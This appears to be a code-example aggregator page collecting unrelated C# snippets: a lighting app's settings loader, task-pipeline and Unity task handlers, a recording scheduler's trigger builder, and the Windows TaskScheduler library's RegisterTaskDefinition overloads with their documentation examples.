            this.lblVersion.Content = ((int.Parse(v[0].ToString()) > 0) ? "" : "beta ") + $"v{v}";

            this.start_silently_enabled.IsChecked = Global.Configuration.start_silently;

            this.app_exit_mode.SelectedIndex      = (int)Global.Configuration.close_mode;
            this.app_detection_mode.SelectedIndex = (int)Global.Configuration.detection_mode;
            this.chkOverlayPreview.IsChecked      = Global.Configuration.OverlaysInPreview;

            load_excluded_listbox();

            this.volume_as_brightness_enabled.IsChecked = Global.Configuration.UseVolumeAsBrightness;

            this.timed_dimming_checkbox.IsChecked            = Global.Configuration.time_based_dimming_enabled;
            this.timed_dimming_start_hour_updown.Value       = Global.Configuration.time_based_dimming_start_hour;
            this.timed_dimming_start_minute_updown.Value     = Global.Configuration.time_based_dimming_start_minute;
            this.timed_dimming_end_hour_updown.Value         = Global.Configuration.time_based_dimming_end_hour;
            this.timed_dimming_end_minute_updown.Value       = Global.Configuration.time_based_dimming_end_minute;
            this.timed_dimming_with_games_checkbox.IsChecked = Global.Configuration.time_based_dimming_affect_games;

            this.nighttime_enabled_checkbox.IsChecked = Global.Configuration.nighttime_enabled;
            this.nighttime_start_hour_updown.Value    = Global.Configuration.nighttime_start_hour;
            this.nighttime_start_minute_updown.Value  = Global.Configuration.nighttime_start_minute;
            this.nighttime_end_hour_updown.Value      = Global.Configuration.nighttime_end_hour;
            this.nighttime_end_minute_updown.Value    = Global.Configuration.nighttime_end_minute;

            this.idle_effects_type.SelectedIndex = (int)Global.Configuration.idle_type;
            this.idle_effects_delay.Value        = Global.Configuration.idle_delay;
            this.idle_effects_primary_color_colorpicker.SelectedColor   = Utils.ColorUtils.DrawingColorToMediaColor(Global.Configuration.idle_effect_primary_color);
            this.idle_effects_secondary_color_colorpicker.SelectedColor = Utils.ColorUtils.DrawingColorToMediaColor(Global.Configuration.idle_effect_secondary_color);
            this.idle_effects_speed_label.Text   = "x " + Global.Configuration.idle_speed;
            this.idle_effects_speed_slider.Value = (float)Global.Configuration.idle_speed;
            this.idle_effects_amount.Value       = Global.Configuration.idle_amount;
            this.idle_effects_frequency.Value    = (int)Global.Configuration.idle_frequency;

            this.devices_kb_brand.SelectedItem                     = Global.Configuration.keyboard_brand;
            this.devices_kb_layout.SelectedIndex                   = (int)Global.Configuration.keyboard_localization;
            this.devices_mouse_brand.SelectedItem                  = Global.Configuration.mouse_preference;
            this.devices_mouse_orientation.SelectedItem            = Global.Configuration.mouse_orientation;
            this.ComboBox_virtualkeyboard_keycap_type.SelectedItem = Global.Configuration.virtualkeyboard_keycap_type;
            this.wrapper_allow_in_background_enabled.IsChecked     = Global.Configuration.allow_wrappers_in_background;
            this.devices_disable_keyboard_lighting.IsChecked       = Global.Configuration.devices_disable_keyboard;
            this.devices_disable_mouse_lighting.IsChecked          = Global.Configuration.devices_disable_mouse;
            this.devices_disable_headset_lighting.IsChecked        = Global.Configuration.devices_disable_headset;

            this.updates_autocheck_on_start.IsChecked = Global.Configuration.updates_check_on_start_up;

            var rzVersion    = RzHelper.GetSdkVersion();
            var rzSdkEnabled = RzHelper.IsSdkEnabled();

            this.razer_wrapper_installed_version_label.Content    = rzVersion.ToString();
            this.razer_wrapper_installed_version_label.Foreground = new SolidColorBrush(RzHelper.IsSdkVersionSupported(rzVersion) ? Colors.LightGreen : Colors.PaleVioletRed);
            this.razer_wrapper_supported_versions_label.Content   = $"[{RzHelper.SupportedFromVersion}-{RzHelper.SupportedToVersion}]";

            if (rzVersion == new RzSdkVersion())
            {
                this.razer_wrapper_uninstall_button.Visibility = Visibility.Hidden;
            }

            this.razer_wrapper_enabled_label.Content    = rzSdkEnabled ? "Enabled" : "Disabled";
            this.razer_wrapper_enabled_label.Foreground = rzSdkEnabled ? new SolidColorBrush(Colors.LightGreen) : new SolidColorBrush(Colors.PaleVioletRed);

            if (Global.razerSdkManager != null)
            {
                this.razer_wrapper_connection_status_label.Content    = "Success";
                this.razer_wrapper_connection_status_label.Foreground = new SolidColorBrush(Colors.LightGreen);

                {
                    var appList = Global.razerSdkManager.GetDataProvider <RzAppListDataProvider>();
                    appList.Update();
                    this.razer_wrapper_current_application_label.Content = $"{appList.CurrentAppExecutable ?? "None"} [{appList.CurrentAppPid}]";
                }

                Global.razerSdkManager.DataUpdated += (s, _) =>
                {
                    if (!(s is RzAppListDataProvider appList))
                    {
                        return;
                    }

                    appList.Update();
                    Global.logger.Debug("RazerManager current app: {0} [{1}]", appList.CurrentAppExecutable ?? "None", appList.CurrentAppPid);
                    Dispatcher.BeginInvoke(DispatcherPriority.Background, (System.Action)(() => this.razer_wrapper_current_application_label.Content = $"{appList.CurrentAppExecutable} [{appList.CurrentAppPid}]"));
                };
            }
            else
            {
                this.razer_wrapper_connection_status_label.Content    = "Failure";
                this.razer_wrapper_connection_status_label.Foreground = new SolidColorBrush(Colors.PaleVioletRed);
            }
        }
Beispiel #39
0
 public void OnItemStarted(int itemNumber, object item, TimeSpan materializationDuration, ITaskStep step, TaskDefinition task)
 {
     ItemStarted?.Invoke(new ItemStartedEvent
     {
         ItemNumber = itemNumber,
         Item       = item,
         MaterializationDuration = materializationDuration,
         Step      = step,
         Task      = task,
         Timestamp = DateTimeUtils.Now
     });
 }
Beispiel #40
0
 public void setup___pipeline_processing___sequential___batched()
 {
     _executor = new TaskExecutorBuilder().Build();
     _task     = GetPipelineTask_Batched(false);
 }
Beispiel #41
0
    public void UpdateTask(TaskDefinition taskDefinition)
    {
        foreach (Task task in m_Tasks)
        {
            if (task.TaskDefinition == taskDefinition &&
                task.IsDone == false)
            {
                task.IsDone = true;

                // Stop playing audio
                m_PlayerAudio.Stop();

                Debug.Log("Task: " + taskDefinition.Title + " completed!");

                if (m_TaskListUpdatedEvent != null)
                    m_TaskListUpdatedEvent();

                return;
            }
        }

    }
Beispiel #42
0
        } // GetDuration

        private void SetSchedule(TaskDefinition definition, RecordSchedule recordSchedule)
        {
            switch (recordSchedule.Kind)
            {
            case RecordScheduleKind.RightNow:
            {
                var rightNow = new TimeTrigger
                {
                    EndBoundary = DateTime.Now.TruncateToSeconds() + _totalRecordTime + new TimeSpan(0, 1, 0)
                };

                definition.Triggers.Add(rightNow);
                break;
            }         // case RecordScheduleKind.RightNow

            case RecordScheduleKind.OneTime:
            {
                var oneTime  = new TimeTrigger();
                var schedule = (RecordOneTime)recordSchedule;
                oneTime.StartBoundary = schedule.StartDate - _startSafetyMargin;
                oneTime.EndBoundary   = schedule.StartDate + _totalRecordTime;

                definition.Triggers.Add(oneTime);
                break;
            }         // case RecordScheduleKind.OneTime

            case RecordScheduleKind.Daily:
            {
                var daily    = new DailyTrigger();
                var schedule = (RecordDaily)recordSchedule;
                daily.StartBoundary = schedule.StartDate - _startSafetyMargin;
                if (schedule.ExpiryDate.HasValue)
                {
                    daily.EndBoundary = schedule.ExpiryDate.Value;
                }         // if
                daily.DaysInterval = schedule.RecurEveryDays;

                definition.Triggers.Add(daily);
                break;
            }         // case RecordScheduleKind.Daily

            case RecordScheduleKind.Weekly:
            {
                var weekly   = new WeeklyTrigger();
                var schedule = (RecordWeekly)recordSchedule;
                weekly.StartBoundary = schedule.StartDate - _startSafetyMargin;
                if (schedule.ExpiryDate.HasValue)
                {
                    weekly.EndBoundary = schedule.ExpiryDate.Value;
                }         // if
                weekly.WeeksInterval = schedule.RecurEveryWeeks;
                weekly.DaysOfWeek    = GetDaysOfTheWeek(schedule.WeekDays);

                definition.Triggers.Add(weekly);
                break;
            }         // case RecordScheduleKind.Weekly

            case RecordScheduleKind.Monthly:
            {
                var monthly  = new MonthlyTrigger();
                var schedule = (RecordMonthly)recordSchedule;
                monthly.StartBoundary = schedule.StartDate - _startSafetyMargin;
                if (schedule.ExpiryDate.HasValue)
                {
                    monthly.EndBoundary = schedule.ExpiryDate.Value;
                }         // if

                throw new NotImplementedException();
            }         // case RecordScheduleKind.Monthly

            default:
                throw new IndexOutOfRangeException();
            } // switch
        }     // SetSchedule
Beispiel #43
0
 /// <summary>
 ///   Registers (creates) a task in a specified location using a <see cref="TaskDefinition" /> instance to define a task.
 /// </summary>
 /// <param name="Path"> The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. </param>
 /// <param name="definition"> The <see cref="TaskDefinition" /> of the registered task. </param>
 /// <returns> A <see cref="Task" /> instance that represents the new task. </returns>
 public Task RegisterTaskDefinition(string Path, TaskDefinition definition)
 {
     return RegisterTaskDefinition(Path, definition, TaskCreation.CreateOrUpdate,
         definition.Principal.LogonType == TaskLogonType.Group ? definition.Principal.GroupId : definition.Principal.UserId,
         null, definition.Principal.LogonType, null);
 }
 /// <summary>
 /// Registers (creates) a task in a specified location using a <see cref="TaskDefinition"/> instance to define a task.
 /// </summary>
 /// <param name="path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
 /// <param name="definition">The <see cref="TaskDefinition"/> of the registered task.</param>
 /// <returns>A <see cref="Task"/> instance that represents the new task.</returns>
 /// <example>
 /// <code lang="cs"><![CDATA[
 /// // Create a new task definition for the local machine and assign properties
 /// TaskDefinition td = TaskService.Instance.NewTask();
 /// td.RegistrationInfo.Description = "Does something";
 ///
 /// // Add a trigger that, starting tomorrow, will fire every other week on Monday and Saturday
 /// td.Triggers.Add(new WeeklyTrigger(DaysOfTheWeek.Monday | DaysOfTheWeek.Saturday, 2));
 ///
 /// // Create an action that will launch Notepad whenever the trigger fires
 /// td.Actions.Add("notepad.exe", "c:\\test.log");
 ///
 /// // Register the task in the root folder of the local machine using the current user and the S4U logon type
 /// TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", td);
 /// ]]></code></example>
 public Task RegisterTaskDefinition(string path, [NotNull] TaskDefinition definition) => RegisterTaskDefinition(path, definition, TaskCreation.CreateOrUpdate,
                                                                                                                definition.Principal.ToString(), null, definition.Principal.LogonType);
 public BuilderInfo(TaskService taskSvc)
 {
     ts = taskSvc;
     td = ts.NewTask();
 }
        /// <summary>
        /// Registers (creates) a task in a specified location using a <see cref="TaskDefinition" /> instance to define a task.
        /// </summary>
        /// <param name="path">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>
        /// <param name="definition">The <see cref="TaskDefinition" /> of the registered task.</param>
        /// <param name="createType">A union of <see cref="TaskCreation" /> flags.</param>
        /// <param name="userId">The user credentials used to register the task.</param>
        /// <param name="password">The password for the userId used to register the task.</param>
        /// <param name="logonType">A <see cref="TaskLogonType" /> value that defines what logon technique is used to run the registered task.</param>
        /// <param name="sddl">The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task.</param>
        /// <returns>
        /// A <see cref="Task" /> instance that represents the new task. This will return <c>null</c> if <paramref name="createType"/> is set to <c>ValidateOnly</c> and there are no validation errors.
        /// </returns>
        /// <exception cref="System.ArgumentOutOfRangeException">
        /// Task names may not include any characters which are invalid for file names.
        /// or
        /// Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library.
        /// </exception>
        /// <exception cref="NotV1SupportedException">This LogonType is not supported on Task Scheduler 1.0.
        /// or
        /// Security settings are not available on Task Scheduler 1.0.
        /// or
        /// Registration triggers are not available on Task Scheduler 1.0.
        /// or
        /// XML validation not available on Task Scheduler 1.0.</exception>
        /// <remarks>This method is effectively the "Save" method for tasks. It takes a modified <c>TaskDefinition</c> instance and registers it in the folder defined by this <c>TaskFolder</c> instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task.</remarks>
        /// <example>
        /// <para>This first example registers a simple task with a single trigger and action using the default security.</para>
        /// <code lang="cs"><![CDATA[
        /// // Create a new task definition for the local machine and assign properties
        /// TaskDefinition td = TaskService.Instance.NewTask();
        /// td.RegistrationInfo.Description = "Does something";
        ///
        /// // Add a trigger that, starting tomorrow, will fire every other week on Monday and Saturday
        /// td.Triggers.Add(new WeeklyTrigger(DaysOfTheWeek.Monday | DaysOfTheWeek.Saturday, 2));
        ///
        /// // Create an action that will launch Notepad whenever the trigger fires
        /// td.Actions.Add("notepad.exe", "c:\\test.log");
        ///
        /// // Register the task in the root folder of the local machine using the current user and the S4U logon type
        /// TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", td);
        /// ]]></code>
        /// <para>This example registers that same task using the SYSTEM account.</para>
        /// <code lang="cs"><![CDATA[
        /// TaskService.Instance.RootFolder.RegisterTaskDefinition("TaskName", taskDefinition, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);
        /// ]]></code>
        /// <para>This example registers that same task using a specific username and password along with a security definition.</para>
        /// <code lang="cs"><![CDATA[
        /// TaskService.Instance.RootFolder.RegisterTaskDefinition("TaskName", taskDefinition, TaskCreation.CreateOrUpdate, "userDomain\\userName", "userPassword", TaskLogonType.Password, @"O:BAG:DUD:(A;ID;0x1f019f;;;BA)(A;ID;0x1f019f;;;SY)(A;ID;FA;;;BA)(A;;FR;;;BU)");
        /// ]]></code></example>
        public Task RegisterTaskDefinition([NotNull] string path, [NotNull] TaskDefinition definition, TaskCreation createType, string userId, string password = null, TaskLogonType logonType = TaskLogonType.S4U, string sddl = null)
        {
            if (definition.Actions.Count < 1 || definition.Actions.Count > 32)
            {
                throw new ArgumentOutOfRangeException(nameof(definition.Actions), @"A task must be registered with at least one action and no more than 32 actions.");
            }

            userId = userId ?? definition.Principal.Account;
            if (userId == string.Empty)
            {
                userId = null;
            }
            User user = new User(userId);

            if (v2Folder != null)
            {
                definition.Actions.ConvertUnsupportedActions();
                if (logonType == TaskLogonType.ServiceAccount)
                {
                    if (string.IsNullOrEmpty(userId) || !user.IsServiceAccount)
                    {
                        throw new ArgumentException(@"A valid system account name must be supplied for TaskLogonType.ServiceAccount. Valid entries are ""NT AUTHORITY\SYSTEM"", ""SYSTEM"", ""NT AUTHORITY\LOCALSERVICE"", or ""NT AUTHORITY\NETWORKSERVICE"".", nameof(userId));
                    }
                    if (password != null)
                    {
                        throw new ArgumentException(@"A password cannot be supplied when specifying TaskLogonType.ServiceAccount.", nameof(password));
                    }
                }

                /*else if ((LogonType == TaskLogonType.Password || LogonType == TaskLogonType.InteractiveTokenOrPassword ||
                 *      (LogonType == TaskLogonType.S4U && UserId != null && !user.IsCurrent)) && password == null)
                 * {
                 *      throw new ArgumentException("A password must be supplied when specifying TaskLogonType.Password or TaskLogonType.InteractiveTokenOrPassword or TaskLogonType.S4U from another account.", nameof(password));
                 * }*/
                else if (logonType == TaskLogonType.Group && password != null)
                {
                    throw new ArgumentException(@"A password cannot be supplied when specifying TaskLogonType.Group.", nameof(password));
                }
                // The following line compensates for an omission in the native library that never actually sets the registration date (thanks ixm7).
                if (definition.RegistrationInfo.Date == DateTime.MinValue)
                {
                    definition.RegistrationInfo.Date = DateTime.Now;
                }
                var iRegTask = v2Folder.RegisterTaskDefinition(path, definition.v2Def, (int)createType, userId ?? user.Name, password, logonType, sddl);
                if (createType == TaskCreation.ValidateOnly && iRegTask == null)
                {
                    return(null);
                }
                return(Task.CreateTask(TaskService, iRegTask));
            }

            // Check for V1 invalid task names
            string invChars = Regex.Escape(new string(System.IO.Path.GetInvalidFileNameChars()));

            if (Regex.IsMatch(path, @"[" + invChars + @"]"))
            {
                throw new ArgumentOutOfRangeException(nameof(path), @"Task names may not include any characters which are invalid for file names.");
            }
            if (Regex.IsMatch(path, @"\.[^" + invChars + @"]{0,3}\z"))
            {
                throw new ArgumentOutOfRangeException(nameof(path), @"Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library.");
            }

            // Adds ability to set a password for a V1 task. Provided by Arcao.
            TaskFlags flags = definition.v1Task.GetFlags();

            if (logonType == TaskLogonType.InteractiveTokenOrPassword && string.IsNullOrEmpty(password))
            {
                logonType = TaskLogonType.InteractiveToken;
            }
            switch (logonType)
            {
            case TaskLogonType.Group:
            case TaskLogonType.S4U:
            case TaskLogonType.None:
                throw new NotV1SupportedException("This LogonType is not supported on Task Scheduler 1.0.");

            case TaskLogonType.InteractiveToken:
                flags |= (TaskFlags.RunOnlyIfLoggedOn | TaskFlags.Interactive);
                definition.v1Task.SetAccountInformation(user.Name, IntPtr.Zero);
                break;

            case TaskLogonType.ServiceAccount:
                flags &= ~(TaskFlags.Interactive | TaskFlags.RunOnlyIfLoggedOn);
                definition.v1Task.SetAccountInformation((String.IsNullOrEmpty(userId) || user.IsSystem) ? String.Empty : user.Name, IntPtr.Zero);
                break;

            case TaskLogonType.InteractiveTokenOrPassword:
                flags |= TaskFlags.Interactive;
                using (CoTaskMemString cpwd = new CoTaskMemString(password))
                    definition.v1Task.SetAccountInformation(user.Name, cpwd.DangerousGetHandle());
                break;

            case TaskLogonType.Password:
                using (CoTaskMemString cpwd = new CoTaskMemString(password))
                    definition.v1Task.SetAccountInformation(user.Name, cpwd.DangerousGetHandle());
                break;

            default:
                throw new ArgumentOutOfRangeException(nameof(logonType), logonType, null);
            }
            definition.v1Task.SetFlags(flags);

            switch (createType)
            {
            case TaskCreation.Create:
            case TaskCreation.CreateOrUpdate:
            case TaskCreation.Disable:
            case TaskCreation.Update:
                if (createType == TaskCreation.Disable)
                {
                    definition.Settings.Enabled = false;
                }
                definition.V1Save(path);
                break;

            case TaskCreation.DontAddPrincipalAce:
                throw new NotV1SupportedException("Security settings are not available on Task Scheduler 1.0.");

            case TaskCreation.IgnoreRegistrationTriggers:
                throw new NotV1SupportedException("Registration triggers are not available on Task Scheduler 1.0.");

            case TaskCreation.ValidateOnly:
                throw new NotV1SupportedException("XML validation not available on Task Scheduler 1.0.");

            default:
                throw new ArgumentOutOfRangeException(nameof(createType), createType, null);
            }
            return(new Task(TaskService, definition.v1Task));
        }